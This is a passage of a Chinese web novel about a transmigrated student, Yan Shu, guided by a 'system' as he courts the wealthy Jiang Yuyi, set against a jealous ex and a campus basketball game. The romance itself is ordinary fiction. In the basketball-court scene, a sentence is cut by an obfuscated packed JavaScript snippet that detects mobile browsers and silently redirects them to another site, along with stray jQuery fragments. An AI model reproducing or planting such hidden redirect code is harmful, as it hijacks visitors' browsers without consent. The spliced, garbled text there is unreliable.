蒋余意沉默,深吸一口气:“这就是你说的喜欢?说放弃就放弃?” 严舒不太开心:“你都拒绝我了,我才不要死皮赖脸。” “不是拒绝。”蒋余意头疼,“我的意思是,我们可以再多了解一点。我们才认识一个月吧?是不是得再相处一段时间?” 严舒“哦”了声:“意思就是不喜欢,要真喜欢,你早就高高兴兴答应了。” 蒋余意:“你这也不算告白吧?” 严舒:“那我告白了你接受吗?” “所以我说再了解一段时间……” “哦,不接受。” 蒋余意:“……” 他第一次发现男生脾气原来这么大。 严舒:“你觉得我脾气不好?” 蒋余意反射性说:“不是——” 严舒“噌”一下站起来:“好,我走。” 蒋余意赶紧拉回来,好声好气地说了一大堆话。严舒抿着唇,没搭腔。最后蒋余意口干舌燥,两人陷入了沉默。 系统看得目瞪口呆,怀疑严舒被鬼上身了:【宿、宿、宿主?你撞邪了??】 严舒抽空搭理了下系统:‘没有。’ 【那你这是……】系统不解。 严舒没解释,或者说很难和一个机器人讲明白,人与人之间的微妙博弈。 蒋余意对他确实有好感 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两人又东扯西扯了一堆,外面的雨下下停停,可能因为“吵”了一架,感情又莫名其妙地拉近了一点。 整个下午,两人都在下围棋,晚饭还是蒋余意做的,比中午要丰盛。 直到傍晚大雨还是没停,哗啦啦声不绝。 严舒洗完澡,回房间途中,发现蒋余意房间的门是开的,探了个脑袋进去。对方似有所觉,抬头朝他笑了笑,招手让他进来。 “哥看书呢?”严舒也不客气,一把坐过去。 “嗯,要一起看吗?” “一起看?”严舒挑眉,“怎么看?” 蒋余意笑笑:“过来呗。”他把被子掀开,邀请他靠在另一个枕头上。 严舒盯了几秒,还真就靠上去了。他的脑袋往蒋余意那边凑——没办法,书就在那边。 蒋余意:“你可以靠我肩膀。” 严舒:“那我不是占哥便宜了?” 蒋余意似笑非笑:“那你回去吧。” 严舒叹气:“哥,你真不可爱。” 蒋余意收回视线:“嗯,没你可爱。” 严舒脑袋倒过去:“请夸帅气。谢谢哥的肩膀,很好靠。” 蒋余意垂眸,轻轻一笑,捏了下他的鼻子。 严舒眨眨眼,一瞬间,他真觉得蒋余意身上有种父爱的光辉。他几乎脱口而出:“哥,你刚才好温柔,像——” 他清醒了。 “像什么?”蒋余意问。 “有点像daddy。”严舒开玩笑。 蒋余意怔了怔,随后捏他脸,有点亲昵地说:“缺父爱呢。” 严舒没说什么,脑袋蹭蹭蒋余意的肩膀。 …… 另一边,魏皓失魂落魄,孤零零地走在大雨中。他回到了熟悉的那间房子,可里面早已没有那个人。 “咳咳咳……咳、咳咳……”魏皓脑子有点发晕,他不知道该怎么办了,他不敢相信蒋余意的无情,又觉得自己咎由自取。 “蒋哥……”魏皓流泪,“我真的错了……”他觉得很难受,身体冷得发抖。 他颤抖着拿出手机,湿漉漉的手把屏幕蹭花了,他又找了一张新的电话卡插进去。他拨通了那个熟悉的电话。 …… 嗡嗡嗡——床头的手机响了。 严舒还没反应过来,系统忽然大叫:【是渣攻!他要借病来卖惨了!】 借病?严舒思索一下,猛地把蒋余意的手机拿过来,接通的瞬间,对面是颤抖的男声:“蒋哥……我好冷……我好像病了,怎么办……你来看看我吧,我就在旧房子这里……” 严舒故作疑惑开口:“你是谁?你打错了吧?” 魏皓一愣,下意识看了眼屏幕,号码没错:“我、你是谁!!” 蒋余意皱眉,他盯着手机,反应了几秒:“小舒,这是我的手机……” 魏皓听见了蒋余意的声音,和疯了一样大喊:“蒋哥!蒋哥!蒋哥!!!” 他听到对面那个陌生的男声说:“哎,哥,不好意思,我以为是我手机就顺手接了,没想到是你的手机,我给你——” 声音戛然而止,魏皓呆呆地盯着,那是谁……这么晚了……蒋余意身边有新的人了…… 他目呲欲裂,眼珠里的血丝渗人,他重新拨通号码,但这一次,显示对面通话占线了。 …… 严舒把手机递过去的时候,不动声色地按掉了通话。他无辜地看着蒋余意:“哥,我不小心挂了。” 蒋余意没吭声,只是看了看通话记录。 严舒:“哥,那是谁?他叫你蒋哥,说自己生病了,在旧房子,要你去看他……” 他停住了,灵光一闪,不确定地说:“哥,这不会是你那个前任吧?” 蒋余意不知道怎么解释,拉黑了号码说:“可能吧,他总是用新号码打过来,我基本都是挂掉的或者不理会。” 严舒“哦”了声,往后靠了靠。 一片沉默。 严舒忽然说:“哥,他说自己生病了,你要不给他叫个救护车吧。” 蒋余意按了按额角:“我叫助理去看看。” 严舒没说话了,等蒋余意把事情交待完,他伸腿踢了一下对方。 “怎么了?”蒋余意有些愧疚,“抱歉,我——” 严舒眼睛一闭:“不开心,哥,快来哄我。” 蒋余意笑了:“你想怎么哄?” “不知道不知道。”严舒有点不爽。 “我抱抱你可以吗?” “这谁哄谁啊?” 蒋余意叹气:“那我不知道了。” 严舒睁眼:“你给我亲一下。” 蒋余意没意见,把脸伸过去:“来吧。” “亲嘴也可以?”严舒手指搭在蒋余意下巴,慢慢往上。 蒋余意垂下眼,唇碰了碰他的手指:“当然。” 好软……严舒像触电一样,猛地缩回来,尴尬地抿了抿唇。 蒋余意笑了,严舒更尴尬了。 “有贼心没贼胆。”他慢悠悠地评价。 严舒:“……”放屁,我怕我勇起来你报警抓我。 13.第 13 章 周一早上,蒋余意又是按照惯例送严舒回学校。 但这次,短短的路程陷入了沉默。 蒋余意看着怎么也带不起来话题,微微叹气:“到学校注意作息,不要熬夜,好好吃饭。” “嗯。”严舒看向窗外。 “我给你带了礼物,你看下。”蒋余意递过去。 严舒接过抱在怀里:“谢谢哥。”他开了车门,“我走了,拜拜。” “好,拜拜……”蒋余意话还没说完,车门已经关上了。 他揉了揉眉心,果然,还在生气,但他又觉得有点冤枉,魏皓的电话他从来没有接过,昨晚—— 叩叩! 蒋余意抬头,是严舒。他按下车窗:“忘拿什么东西了吗?” 严舒撑着手臂,猛地靠近:“哥,等下你去哪里?” 蒋余意一怔:“公司。” “下班后呢?” “回家。” “然后呢?” “……睡觉?” “睡完觉呢?” 蒋余意回过味了:“你想问什么?” “你不会去看那个生病哥吧?”严舒撇嘴说。 生病哥……蒋余意被逗笑:“不会。” “你保证?” “我保证。” “拉勾?”严舒伸手。 “嗯。”蒋余意用尾指勾住他的尾指。 严舒一边晃,一边叨叨:“拉勾上吊一百年不许变,谁变谁就是小狗……” 蒋余意含笑看着严舒,眼底是他自己未曾察觉的温柔。 “好了。”严舒一脸严肃地收回手,“哥不许骗我哈,你要是去了就是小狗了。” “嗯,不骗你。” 严舒满意了:“好了,我没事了,拜拜!” 他说完挥手跑远了,这次,笑容变得和往常一样灿烂。 蒋余意盯着严舒远去的背影,低头,把那只拉勾的手摊开。 良久,黑色宾利启动,缓慢朝远处驶去。 【宿主,这样真有用吗?】系统忧心忡忡。 ‘不知道。’严舒很淡定。 【怎么能不知道呢?】系统着急,【宿主,要不以后每天都去找主角受吧?】 ‘我之前不是找着吗?’严舒基本天天晚上打电话,除非那天有什么事。 【我的意思是,你去约主角受出来吃饭或者你过去找他。】 严舒一顿:‘不至于。’ 系统着急地跺脚,尤其看严舒那副油盐不进的样子。但经过这段时间的相处,它知道对方的性格,催不出结果,只能唉声叹气,试图引起注意。 本以为没几分钟,严舒会让它回空间待着静音,但这次出乎意料,系统从门口飘回宿舍,严舒也只是一言不发。 忽然,严舒开口:‘你这星期多盯着。’ 系统眼珠子一转:【盯着谁?】 严舒:‘蒋余意。’ 【盯什么?】 严舒一脸“你说什么废话”的表情。 系统:【盯主角受有没有去看望渣攻?】 严舒:“嗯。” 系统绕着严舒转了一圈,翘起二郎腿,拉长声音:【噢——原来如此~】 严舒:“……”他懒得搭理系统,换了衣服就上床躺着。 系统:【啧啧,我就知道,你果然很在意主角受吃回头草。】 严舒无语:“和我的命息息相关,不应该在意?” 系统一副我看穿一切的表情。 严舒不想理会,直接闭眼睡觉。 系统哼笑一声,化成光点回空间。 - 蒋余意确实没打算去看魏皓,对方的情况在助理报上来后,他只是简单地应和了几句,无视那些转述的话,让助理可以撤了,不用留意了。 但魏皓只沉寂了几天,像忽然疯了一样追堵蒋余意。 他之前还有所收敛,顾及着体面,可那通电话的陌生男声,令他不安的同时,油然生出一种愤怒,他无法保持冷静,只想撕下那层心照不宣的“体面”去质问。 蒋余意对此烦不胜烦,魏皓冲上来的嘶喊,他都沉默,不加理会,他甚至加派了保镖数量,非必要不出门,直接居家办公。 但某次出去洽谈合作,还是被对方钻了空子,堵在厕所。 “蒋哥……”魏皓贪婪地看着蒋余意的脸,慰藉自己的思念,“我好想你……” “让开。”蒋余意没好脸色,扔掉擦手的纸巾,很是不耐。 魏皓眼里流露出痛苦:“蒋哥,你变了……你变得好狠心,你以前不是这样的……你现在把我当成什么了?躲我躲得都不出门,哈,我是什么可怕的魔鬼吗?让你这么难受,连看一眼都不愿意?” 蒋余意平静地看着他:“既然给了人家小姑娘承诺,就好好去履行,不要来我这里发疯。” 魏皓呆了呆,立刻慌张地上前:“蒋哥,我没和她在一起,那只是、是一时昏了头乱说的话,我……” 蒋余意皱眉,退后一步。魏皓看得愈发痛苦:“蒋哥,你再给我一个机会吧……求你了……我什么都可以给你……我不在意那些了……我的公司给、钱也给你……” 蒋余意忽然一笑:“你觉得我缺钱?” 魏皓卡住,他喃喃:“我只是想把这些给你……我、我爱你啊……” 蒋余意感到荒谬,这人怎么说得出口? 魏皓眼眶发红:“蒋哥,那个人是谁?你怎么这么快就、不对,肯定不是,他、他是你的朋友对不对?蒋哥,你告诉我吧……”他恳请地看着蒋余意,希望得到一个“满意”的回答。 砰!门撞开,一群保镖冲进来。 蒋余意见状,立刻出去,魏皓着急地想去拦,被保镖死死抱住,无法动弹。 “蒋哥——”魏皓大喊,嗓子像被风割破了,带出一丝悲怆。 蒋余意脚步停了停,他看着走廊的金属挂画,重新往前走。 …… 蒋余意结束了今晚的商务局,司机早已等候在停车场,他坐进去有点头晕,可能是喝太多了。 嗡嗡嗡——手机振动。 [严舒:哥哥哥,你吃完饭了吗?] [严舒:小心探头.jpg] 蒋余意不自觉嘴角上扬,闷着胸腔像忽然吐出了一口气。 [蒋余意:嗯,刚结束。] 对面很快又发了几条消息。 [严舒:哥喝酒了吗?] [严舒:好吧,应该是喝了。] [严舒:吃解酒药了吗?不然哥得头疼。] [严舒:对了,哥,这星期五我有一场篮球比赛,你有时间来看吗?] 蒋余意动了动手指,问几点。 [严舒:下午3点] 蒋余意想了一下,应该能抽出时间,回了个好。 [严舒:开心转圈圈.jpg] 蒋余意笑了笑,也学着对方把表情包发回去了。 他放下手机,脸上的表情变得轻松。 另一边,A大篮球场 夜晚的照射灯让整个球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16441344|185002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场晕着一层白光,哒哒哒,一颗球的弧线从空中飞过,又落地,再次飞过,再次落地,以此循环往复。 最后,这颗篮球落在严舒手里。他低着头,摆弄手里的手机,拇指戳了下那个转圈的小人。系统挤了过来,睁大眼睛。下一秒,严舒暗灭屏幕,把手机放口袋。 系统哼了声:【小气鬼。】 严舒没管它,继续投球。他一次次改变距离,反复跃起身子,哐当一声,中了也不停歇,继续投。 系统:【宿主,不用练了,到时我给你作弊,保证是全场最帅的那个。】 严舒:‘不用。’ 系统不解:【为什么?】 严舒:‘没有为什么。’ 系统:【主角受不会知道的啊。】 严舒手一顿,投偏了,球擦着篮筐下来,滚到他脚边。 ‘和蒋余意没关系,你别偷偷作弊。’ 系统:【狗咬吕洞宾,不识好人心。】 严舒瞥它一眼,彩虹小人嚣张地抬起头,脸上写着“你能拿我怎么样”,特别欠。 ‘安静点。’严舒用掌心压了压它的头发,‘知道你好心,有需要我会找你的。’ 系统呆了呆,然后急速撤开:【随便你,我看你练这么多天、练得这么辛苦才帮你的。反正你不就想在主角受面前耍帅嘛,有我在,包你宇宙无敌霹雳帅!】 说完,彩虹小人的身形化成光点,消失不见。 严舒挑眉,这小机器人还会害羞。他摇头笑了笑,程序挺拟人化的。 系统回去了,世界好像突然安静了。偌大的操场只剩一些稀疏、飘渺的人声,忽远忽近,几乎忽略不计。 严舒继续投球,每中一次,他心里记一次。 不知过了多久,一滴汗从严舒额头滑下,渗进眼睛。 咔哒!操场的灯全部灭了。 ——十一点了。 严舒接住回弹过来的篮球,朝操场的大门走出。 宿舍 “又去练球了?”肖志准备上床睡觉,手里还搂着抱枕,“严舒,你要周五当球王呐?” 陈宇阳在刷牙,闻言出来凑热闹:“是不是为了在苏大美女面前一展雄姿?” 严舒无语,学着原主的语气:“扯淡,为了我们专业争光,懂不懂?” 肖志乐了:“就友谊赛,你悠着点。”他又对陈宇阳说:“严舒已经不打算追苏大美女了,人家要专心搞学业,走上人生巅峰。” 陈宇阳吃惊:“不是,放弃了?花了这么大成本?” 他去撞严舒肩膀,满脸不可思议。 严舒淡定地把人扒开:“沉没成本不参与重大决策。” 陈宇阳喃喃:“那是你们有钱人的玩法,我等平民心如刀割。” 严舒又敷衍了几句,赶紧洗漱完,上了床。 宿舍熄灯了。 严舒慢慢闭上眼,清空脑子所有的一切,呼吸逐渐平缓,坠入梦乡。 半夜一点。 【哎呀,渣攻天天去找主角受回忆往昔,可能被宿主你刺激了……渣攻掉眼泪了……咦?主角受怎么停住了?别是心软……】 严舒睁眼,身体传来一阵失重感,系统的声音全部消失。 是梦。 半晌,严舒翻了个身,抓了抓头发,他怀疑系统每天念叨这些,已经影响自己的神经,导致病变了。 不然怎么…… 怎么做梦都是这声音?还是说他太怕死了? “呼……”严舒盯着漆黑的罩顶,深深地吐出一口气。 14.第 14 章 周五的球赛是一个友谊赛,学院弄的募捐活动。肖志说得没错,比起输赢,显然它的意义更加重要。 因此,严舒他们这支篮球队伍只是简单的训练了几次,增加了彼此的默契度,至少让他们在赛场上能认出彼此的脸,能在传球的瞬间喊出对方的名字。 校外人士要进来,需要本校的学生带进去。 严舒在门口接蒋余意,见到的瞬间,他眼睛一亮,快步迎上去:“哥!” 蒋余意轻拍他的肩膀:“等久了?” “没有。”严舒直接抱上去,“哥,你今天真好看。” 蒋余意失笑:“哪里好看?” “从头到脚都好看。”严舒第一次见蒋余意穿运动装,戴了个鸭舌帽,姿态闲适。 “嘴巴这么甜。” “因为说的是真话。” 蒋余意大笑,心情不错,他是真喜欢男生,总能轻而易举地让他高兴。 “谢谢。”蒋余意捏捏他的脸,“你也很好看。” “不,是帅。” “你一直都很帅。” “哥也是。”严舒凑近,眼睛亮晶晶的。 蒋余意心微跳,缓慢避开脸:“好了,我知道,先进去吧。” 严舒嘴角勾起:“哥,你这星期工作忙吗?” “还好。” “没有加班吧?” “我有没有加班你不知道?”蒋余意和严舒几乎每晚都通电话。 “我又不能天天盯着哥,我怎么知道是真加班还是假加班?” “我为什么要骗你加班?” “那我不知道了。” 蒋余意摸摸严舒的脑袋:“我的生活除了工作就是你了。” 严舒愣住,摸摸鼻子:“哦,好。” “就一个‘哦’?”蒋余意含笑看过去。 “哥说得这么轻松,我很怀疑。”严舒清清嗓子。 “……”蒋余意斜瞥,“要求很高啊。” “因为太在意你了。” “……” 严舒无辜地看回去:“怎么了,哥?” “……”蒋余意说不过严舒,刚好到了篮球场,抬抬下巴示意,“好了,你赶紧去做准备吧。” 严舒拉着蒋余意去到一个位置,把自己的衣服拿走:“哥坐这里,我擦过了。” “谢谢。”蒋余意笑笑,把袋子放下,又伸手,“衣服我帮你拿着。” “好。” 严舒跑到队伍,和其他队员一起做拉伸运动。 秋日的阳光并不热烈,照到身上反而暖洋洋的。在领队一二一的口号里,像青春热血动漫,洋溢生机。 蒋余意已经很久没有这种感觉了,有种重回校园的新奇,甚至带了点怀念。在压低的帽檐视角里,严舒像处于画框的中心,一举一动都如此清晰,牵动心神。 他看着严舒,嘴角微微扬起。 【宿主,主角受一直看你,他在笑~】系统飘出来。 严舒:‘哦。’ 【宿主,真不要我帮忙?】 ‘不需要。’ 【好吧。】系统抱着手臂,【不过,如果宿主反悔了,我随时会出现,不要拉不下脸哦~】 严舒:‘……’ 他嗤之以鼻,同时颇有信心。 哨声吹响比赛,一圈圈的观众欢呼加油。场上的身姿各个矫健,篮球辗转于每个人手里,伴随快速的步伐,被黑影抢夺,下一秒,严舒拿到球了。他高高跃起,像无数次的练习,那么简单、那么熟稔—— 没中。 严舒深吸口气,怀疑他和篮筐的距离。但赛场不容许沮丧的思考,下一秒,只见一个身影飞过,把撞开的球夺过,转身运球跑向相反的方向。 严舒没犹豫,追上去,同时还有两个队员向前夹击。那颗球在空中飞出抛物线,到了严舒手里。他没迟疑,直接往前跑,等候的对手伺机而动,三个人围上来,眼看守不住手里的球,他纵身一跃,投了个三分球。 没中。 严舒:“……”不科学。 他咬咬牙,快速瞥了眼蒋余意的方向,高高的身影站起,帽檐挡住了对方的脸,只看见一道模糊的轮廓。 严舒打起精神,继续,球来球去,大概过了十分钟,又一次到他手里。这次,他变得谨慎,尽量到篮筐下投。 还是没中。 围观的人群发出遗憾的哀叹,严舒抹了把脸,心情不太好。 原身的篮球水平如何他不知道,但自己在大学的时候挺好的,甚至—— 【宿主,你大学的时候多少年了?现在生疏也正常啊。】系统幽幽地说。 严舒:‘……’ 【宿主就是太紧张了,你当主角受不存在嘛。】 严舒没搭理,继续盯那颗篮球。系统摇头,慢悠悠地消失。 中场休息。 严舒走下场,脸紧紧绷着。 “喝点水。”蒋余意给他递了水和毛巾,“擦擦汗。” “谢谢哥。”严舒不起劲儿。 蒋余意给他扇风:“不着急,慢慢来。”他大概看出对方的沮丧,安慰道:“重在参与,没关系的。” 严舒:“……”他不吭声,继续喝。 “别喝太多。”蒋余意挡了下他的手腕,“再擦擦脸,还滴汗呢。” “我之前投球挺行的。”严舒冷不丁出声。 蒋余意一愣,哭笑不得:“好,没事,我看出你底子不错,投球偶尔也需要运气。” 【主角受真是体贴。】系统不嫌事大,摇头晃脑地说,【宿主,咱们一起联手,让主角受惊艳吧!】 严舒无视,看着蒋余意眼睛:“刚才是热身。” 蒋余意:“……”噗,小孩真可爱。 他摸摸严舒的脸,“嗯,我相信。” 严舒撇开脸:“有汗。” 蒋余意不在意:“没有,你都擦干净了。” 严舒古怪地看过去,他记得蒋余意有洁癖来着…… 休息了一会儿,比赛重新开始。 系统还在游说,显然,它很想让严舒在蒋余意面前成功耍帅。 严舒没接受,继续在赛场奋战。终于,在空了这么多次后,他投中了一个三分。 严舒第一时间朝蒋余意的方向看去,对方似有所觉,朝他挥了挥手。他嘴角扯了下,浑身舒坦。 系统举着小烟花,欢快地说:【哇~三分球~宿主超级棒哦~】 严舒没在意,继续跑。系统又说:【哇!主角受笑了,他替宿主开心!他还举起了手机,要给宿主拍照!】 严舒踉跄了一下。系统:【宿主,不要紧张,淡定。】 ‘静音。’严舒接过球,几个跨步把人甩开,‘球赛结束前不要出现。’ 【小气鬼。】 严舒又投中了一球。 一瞬间,全场欢呼,好似海啸席卷。 严舒更加来劲儿,一心只有那小小的篮筐。 随着赛程越发激烈,每个人的精神紧绷着,比分逐渐拉近,直到平分,而此时,临近结束还有几分钟。焦灼的情绪蔓延,场上的人站在各自的位置,不断移动,忽然—— 艹!严舒神色剧变,来不及躲开被撞飞的人,只能尽力侧身,最后还是被撞到篮筐下的金属杆上,后背倒地,小腿不知划过什么,一阵剧痛。他眼前发晕,黑了黑,用力眨了下眼,天空慢慢从灰变蓝。 裁判的哨声响起,大伙儿一窝蜂地围过来,几拨人又分开看伤员。 肖志恰好离严舒近,马上冲过来大喊:“严舒严舒,你还好吗?” 他的女友妮妮说:“你别碰啊,万一是骨头断了呢?” 严舒眉心一跳,撑起手臂,想看看自己的腿怎么了。 “别动。”一双手紧紧按住严舒胳膊,将他拢在怀里,“等医生过来,没什么大事。” 严舒听出蒋余意的声音,往后一靠:“好……” 篮球比赛做了准备,医生赶来,人群散开一条通道。 【宿主别慌,只是刮伤了,骨头还好好的。不过铁杆生锈了,你得打破伤风。】系统赶紧出来安慰宿主。 严舒松了口气,没断就好。他不是怕受伤,只是不想伤得太重,阻碍到—— 他一僵,后知后觉意识到身后人的存在感多强。淡淡的香水味钻进鼻腔,他倚靠的胸膛宽厚,带有男性特征的结实,按在手臂的手有力,可能他体温太高了,反而感受到温差下的凉感。 当人开始注意到五感时,一切细微的感官都会无限放大。 严舒心情微妙,从来没有那么一刻,他清楚地意识到,蒋余意和他一样,是一个男人。 和他同性别的男人。 很奇怪,他不反感,甚至喜欢这种接近,有种别样的安心。 “……你看,没什么问题,就是刮伤了,止了血就去打破伤风,没事的。” 蒋余意的声音渐渐变得清晰。严舒回过神,朝他笑了笑:“知道了哥。” 肖志好奇地看过去:“严舒,这是你……哥哥?呃,堂、表哥?”他记得严舒是独生子。 严舒犹豫,琢磨该怎么回答。肖志脸色慢慢变得惊恐,不会是私生子哥哥吧!? 严舒:“……”他发现肖志简直是个人形弹幕,想什么脸上就是什么。 “对,我是严舒的表哥。”蒋余意微笑,“后面担架来了,小心别被撞了。” “哦哦。”肖志赶紧跳开。 严舒没想到这么大阵仗,还要上担架。 “这就不用了吧……” 陈宇阳:“肯定得上,你这多严重。” 严舒看了看那滩血,很想说只是看着严重,其实还好。 “小舒,听话。”蒋余意轻轻按了下他手臂。 严舒皱眉:“我没事,跳过去也行——” “那我抱你过去。”蒋余意打断。 严舒立刻朝医生招手:“老师、医生,我要上去。可以扶我一下吗?” 蒋余意笑了。严舒假装什么都没听见。 得益于A大和某家三甲医院就隔了一条街,不过十来分钟,严舒就已经在医院躺着,伤口包扎好了,破伤风打了。蒋余意甚至贴心地给严舒带了套衣服——是他让助理送过来的。 “我应该不用住院吧?”严舒换好衣服,仰头问。 “你回宿舍不方便,不如留在医院好好养伤。”蒋余意说。 “就个小口子。”严舒还动了下腿,“不痛。” 蒋余意赶紧阻止:“你打了麻药肯定不痛,别乱动,等下缝好的线又出血了。” 严舒无语:“真没这么严重。” “你想留疤吗?” “男人怕什么留疤?”严舒满不在乎。 蒋余意哽了一下,没说话了。 严舒:“哥嫌弃我身上有疤?” “少胡谄。” “哥,比起回宿舍,我觉得有个地方更适合我养伤。” “哪里?” “……”严舒眨眨眼,“哥,你觉得呢?” 蒋余意一顿:“我家?” 严舒瞬间笑开了,一直点头。 蒋余意捏着他下巴,摩挲了一下:“行了,小鸡啄米呢。” 严舒把脸放上去:“带我回家,哥哥。” 蒋余意垂眸:“我还能拒绝吗?” “不能。” “那走吧。” “哥搀我一下。” “要不要……” “不要!” 蒋余意挑眉:“我还说完。” 严舒竖起一根手指:“不抱,谢谢。” 蒋余意好笑,捏了捏他的指尖:“行,下来吧。慢点。” 严舒身残志坚,坚决只借用蒋余意的一条胳膊。一路上,严舒从下楼到上车,再从下车到上楼,把蒋余意逗笑了好几回。 “再笑我走了。”严舒不走了。 “就两步路了,还走?”蒋余意无奈,面前就是门了。 严舒说走就走,立刻转身,蒋余意赶紧拦人,道歉:“哎,我的错,我就是看你可爱。” “帅气,谢谢。”严舒撇开蒋余意的手,自己跳进去。 蒋余意看得心惊,赶紧上前扶人。 严舒打量了下屋内,果然和那套极简风的房子不一样,整体更加温馨舒适,色调偏暖许多。 “哥,你这屋子比上次那套好看。” 蒋余意一愣:“哦哦,是吗?”停顿一下,他说:“那间我不很少去,我一般都在这边。” “哥喜欢的风格挺多样的啊,两套完全不一样。”严舒故作好奇,“还有其他房子吗?我都想去看看哥不同的品味。” 蒋余意微不可闻地滞了滞:“好,下次有机会带你去。” 严舒自然捕捉到了,啧啧,男人啊……好好好,我要看看你有几套“风格迥异”的房子。 “你要喝点什么?饿不饿?”蒋余意问。 “苹果汁,鲜榨 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“……你掺水了?” “嗯。” 严舒垮脸:“你还不如不让我喝。” “有道理。”蒋余意把果汁拿走。 严舒不开心:“真的很难喝,你自己没试过吗?” 蒋余意喝了一口:“还好吧。” “……”严舒不吭声了。 蒋余意盯了他一下,哂笑:“我还不能喝吗?” 严舒一顿:“杯子,我喝过了。” “没事,我不嫌弃。” “……”严舒无语,“哥,你好记仇。” “原来你也知道当时自己说话不好听啊。”蒋余意似笑非笑。 严舒摸摸鼻子,不说话了。 “心虚了?”蒋余意眯起眼睛。 严舒:“……”我总不能说当时在吊你吧? “对不起,哥。” 蒋余意扬眉:“动不动就道歉,在你心里我这么小肚鸡肠?” 严舒直接抱过去:“哥——” 蒋余意笑笑,回抱过去:“干嘛?” 严舒把脸窝在蒋余意颈侧,轻轻蹭了下。蒋余意喉结动了动,掌心拢在严舒后颈,来回摩挲。 此刻,某种心照不宣的暧昧促使一切都那么自然、合理,仿若踏入粉色烟雾里,谁也看不清彼此模样,只剩皮肤的接触,一点点将心底的原始野性拨开盖子,只有自己才知道余响,或轻或重。 …… 吃完晚饭,严舒和蒋余意打开电视,综艺电视剧歌曲广告都不重要,只需要万家灯火里热闹的背景音。 严舒和蒋余意讨论等下该怎么洗澡,对方建议擦擦身子就算了。严舒不肯,说他必须要洗,他把腿包着塑料就行。 “然后金鸡独立?”蒋余意狐疑。 严舒:“……” 蒋余意:“也不是不行,但你坚持得下去吗?别搞得最后又摔一跤,真把腿摔折了。” 严舒:“我坚持得下去。” 蒋余意皱眉,还是担心,最后他拍定一个方案:把凳子带进去,一个拿来坐,一个拿来搭,伤口裹紧点,水不能太热,最好凉一点。 “哥不怕我冷啊?” “年轻火气旺,怕什么冷?”蒋余意调侃。 “哦。” “行,就这样定了,我先去洗,洗完你再去。” “为什么?” “方便你出来了,我给你搭个胳膊。” “谢谢哥……” “不客气。” - 严舒洗得还算顺利,摔肯定是不可能摔,哪怕真摔了,他扛着一声不吭,找系统出来治疗一下就好了。 出来时,蒋余意还真等在外面。 “哥,太感人了吧。”严舒怪不好意思的。 蒋余意伸手,让严舒靠着他走:“你在我家,我对你肯定有责任的。” “这么好啊。”严舒只借了一点力,“谁来你都有责任?” “这边,你住这间房,看看行不?” 严舒直接点头:“可以。你别转移话题,我刚才的问题你还没答我呢。” 蒋余意把人搁床上了,轻笑:“理论上是这样的。” 理论上?严舒眯起眼睛:“实际上?” 蒋余意状似思考,良久,才说:“你猜?” 严舒:“……”他不乐意了,看蒋余意要走,不假思索地拽了对方的胳膊,往下一扯。 “哎——”蒋余意不是真要走,没有防备,和严舒一起倒到被子上了。四目相对,紧贴的胸膛砰砰直跳,分不清是谁的心脏。 “哥、对不起……”严舒干巴巴道歉。 蒋余意垂眸,指尖从严舒的喉结滑到了下巴,磨了磨,指腹的触感粗糙:“睡前刮刮吧,气血很足啊,胡茬长得这么快。” 严舒没反应过来,半晌,才自己摸了下巴。 “嗯,好……哥你先起来吧。” “嫌我重?”蒋余意又捏了下他的喉结,“不起。” 严舒躲开:“哥,男人的喉结不能乱动。” “为什么?”蒋余意低头,摸索到严舒的手,往自己脖子放,“你也可以摸摸。” 他盯着严舒眼睛,笑意不达眼底:“小舒,我们是同一个性别,是不是从来没有像现在这样意识到……” 严舒的手滞住,指尖无意识刮了下蒋余意的喉结。蒋余意不设防,喉咙发出闷哼,严舒听得一激灵,像羽毛挠上了痒处。 蒋余意说话停住了,惊讶地看向严舒:“你——” 严舒:“……”艹! 他张张嘴,想说什么,却一句话都说不出来。 “还是年轻啊,容易激动。”蒋余意调侃,眼里含笑。 严舒一点点裂开了:“哥,你听我解释……” 蒋余意拍拍严舒的脸:“可惜,你得自己解决。弄完早点睡,晚安。” 说完,他慢吞吞地离去。 咔——门关上。 严舒盯着天花板,开始怀疑人生。 靠,我对男的……居然行?! 一时间,严舒只觉天旋地转。 ——完了,妈,你儿子是个gay。 15.第 15 章 严舒自力更生后,浑身懒洋洋的,他顺手关了灯,躺下闭眼,准备睡了。 本来以为他会睡不着,事实上,他没几分钟就睡过去了。 梦里,他久违地梦到了妈妈。 和往日不变的叮嘱不同,妈妈没有殷切地看着他,说让他照顾好弟弟,好好过日子……诸如此类的话。她只是柔和地看着他,那么忧愁,又那么包容。 严舒不知道脑子抽了还是怎么了,他说:“妈,你是不是把我生成gay了?” 忽然,空间因为他的声音碎成一片片,他的意识沉入深处,再无波澜。 …… 第二天,严舒被妈妈的电话吵醒了。准确来说,是原身的妈妈。 “宝贝,家里出了点事,你今天可以回来一趟吗?”周宁温柔地问,“你在学校吗?我让陈叔去接你。” 出事?严舒琢磨了一下,试探问:“妈妈,是……什么事?” 周宁语气更加柔和:“你先回来,爸爸妈妈和你说。” 难道是破产的事?严舒猜测,他说:“好的,妈妈。”他把地址也一并告诉对方。 周宁问是在朋友家玩吗?严舒说是。 “那我让陈叔过去。宝贝不着急,可以吃完早餐再下来。” “好。” 挂了电话,蒋余意盯着天花板发呆,脑子闪过很多片段,尤其是昨晚……过了一会儿,才慢慢坐起来。 他知道自己怎么了。 他不是害怕和蒋余意谈恋爱,也不是害怕和蒋余意上床。他是有点不敢相信自己真成gay了。 ——他能接受对蒋余意行,但他不能接受所有男的行。 他也不会对所有男的……行吧? 严舒捂着心脏,别啊,直了二十八年,我竟是深柜? 想了一堆乱七八糟的事,严舒不再耽搁,赶紧洗漱,出来后,陈叔发消息给了个地点,说小少爷,我在这里。 已经到了啊……严舒准备不吃早餐,直接过去了。 客厅弥漫淡淡的焦香味,饭桌上有一碟煎饺子,一锅热气腾腾的粥。 “起来了?”蒋余意从厨房出来,端了两杯豆浆,满脸笑容,“我还想叫你呢。你看看想吃什么,饺子粥豆浆,自己挑。” “哥,我不吃了,我妈说有急事,让我回家一趟。”严舒已经扶着沙发到玄关换鞋了。 